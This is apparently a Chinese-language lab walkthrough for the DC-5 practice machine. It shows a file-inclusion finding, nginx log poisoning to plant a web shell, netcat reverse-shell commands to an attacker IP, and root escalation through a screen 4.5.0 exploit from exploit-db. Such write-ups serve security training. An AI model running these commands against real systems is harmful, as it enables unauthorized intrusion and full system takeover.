1.主机扫描
通过已知MAC地址,确定DC-5的ip。
2.端口扫描
确定靶机开放端口
3.访问web界面
提交表单发现时间在变化
直接访问thankyou.php文件
这里可能存在文件包含
4.web目录扫描
footer.php与刚才页面下面显示的时间相对应,所以可能是被包含文件。
5.contact.php处 Bp抓包测试文件包含
文件包含成功
6.利用nginx日志写shell
菜刀连接
nginx日志路径 /var/log/nginx/access.log
连接符连接命令,文件包含调用/bin/bash解释器执行
nc 192.168.43.193 8888 -c /bin/bash
菜刀虚拟终端反弹shell
nc -e /bin/bash 192.168.43.193 6699
nc -lvvp 6699 监听
7.提权
启动交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
find命令搜索带有suid权限的命令
find / -perm -u=s -type f 2>/dev/null
发现特殊文件screen 4.5.0
搜索已知漏洞
searchsport screen 4.5.0
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ~/Desktop/41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41154.sh ~/Desktop/41152.txt
41154.sh这个脚本不能直接执行,所以需要以下步骤
剪切这两段代码到新文件
执行这两个文件
执行
set ff=unix 使windows的代码可以在unix上运行
并将其他剩余代码剪切到dc5.sh
脚本上传tmp目录
运行dc5.sh
chmod +x dc5.sh
./dc5.sh